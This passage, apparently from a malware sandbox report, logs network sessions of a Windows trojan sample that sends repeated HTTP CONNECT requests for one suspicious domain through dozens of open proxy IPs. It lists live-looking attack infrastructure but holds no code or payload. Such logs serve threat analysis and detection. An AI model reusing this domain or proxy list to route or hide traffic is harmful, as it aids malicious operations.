Feb 23, 2024 14:28:32.829976082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.185786009 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1306	192.168.2.8	54064	104.16.106.65	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.830200911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.917654991 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1307	192.168.2.8	53651	148.72.177.90	2466	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.830818892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.195000887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.615735054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.382666111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.898106098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.382574081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.753305912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.492145061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1308	192.168.2.8	53646	24.172.82.94	53281	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.830826998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.898044109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.991925001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.992361069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1309	192.168.2.8	53991	109.194.22.61	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.831147909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1310	192.168.2.8	53234	185.236.37.108	4443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.842674971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.633250952 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1311	192.168.2.8	53978	43.133.136.208	8800	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.870719910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1312	192.168.2.8	54086	94.74.120.192	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.871459961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1313	192.168.2.8	54091	94.74.120.192	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.875758886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1314	192.168.2.8	53979	202.131.159.58	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.892055988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1315	192.168.2.8	53962	110.34.3.229	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.917114973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.541342020 CET	90	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.54 (Win64) OpenSSL/1.1.1o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1316	192.168.2.8	53512	27.75.149.169	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.917812109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1317	192.168.2.8	54079	74.103.66.15	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.948395967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.379125118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.785773993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.491905928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.695132971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.991863012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.288717985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1318	192.168.2.8	54008	159.192.139.178	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.948808908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.788902998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.999872923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.687056065 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1319	192.168.2.8	51802	146.56.101.184	21681	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.948812962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1320	192.168.2.8	54085	167.99.123.158	59431	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.957062960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1321	192.168.2.8	51854	146.59.70.29	51138	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.009197950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.194781065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.195421934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.195333958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1322	192.168.2.8	54053	1.15.62.12	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.009267092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1323	192.168.2.8	54072	206.220.175.2	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.010112047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1324	192.168.2.8	54108	94.74.120.192	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.036521912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1325	192.168.2.8	53733	74.119.147.209	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.086616993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1326	192.168.2.8	54060	103.148.51.19	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.086714029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1327	192.168.2.8	53586	24.249.199.4	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.087013006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1328	192.168.2.8	53254	162.240.10.35	37761	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.092303038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.149532080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.255001068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.288947105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1329	192.168.2.8	54118	94.74.120.192	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.094023943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1330	192.168.2.8	54087	91.202.230.219	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.095144033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1331	192.168.2.8	54065	27.76.128.246	25395	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.137018919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1332	192.168.2.8	54092	190.14.224.244	3629	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.137542009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1333	192.168.2.8	53685	86.107.178.107	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.159146070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.195055962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.195456028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.195333004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:57.194854021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:09.194698095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:21.194693089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1334	192.168.2.8	54109	135.181.55.81	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.202721119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.613425016 CET	84	IN	HTTP/1.0 200 Connection established Proxy-agent: Kerio Control/9.4.3 build 8353

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1335	192.168.2.8	54105	93.117.72.27	55770	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.210938931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1336	192.168.2.8	51747	117.160.250.163	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.228849888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.250505924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.308280945 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1337	192.168.2.8	54137	104.17.66.69	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.264141083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.351964951 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:33 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1338	192.168.2.8	53694	115.171.217.48	7891	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.421715021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1339	192.168.2.8	54167	104.17.37.235	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.440334082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.528480053 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:33 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1340	192.168.2.8	54190	74.207.235.213	1221	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:33.452631950 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.
Feb 23, 2024 14:28:33.479511023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1341	192.168.2.8	54132	159.65.77.168	8585	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
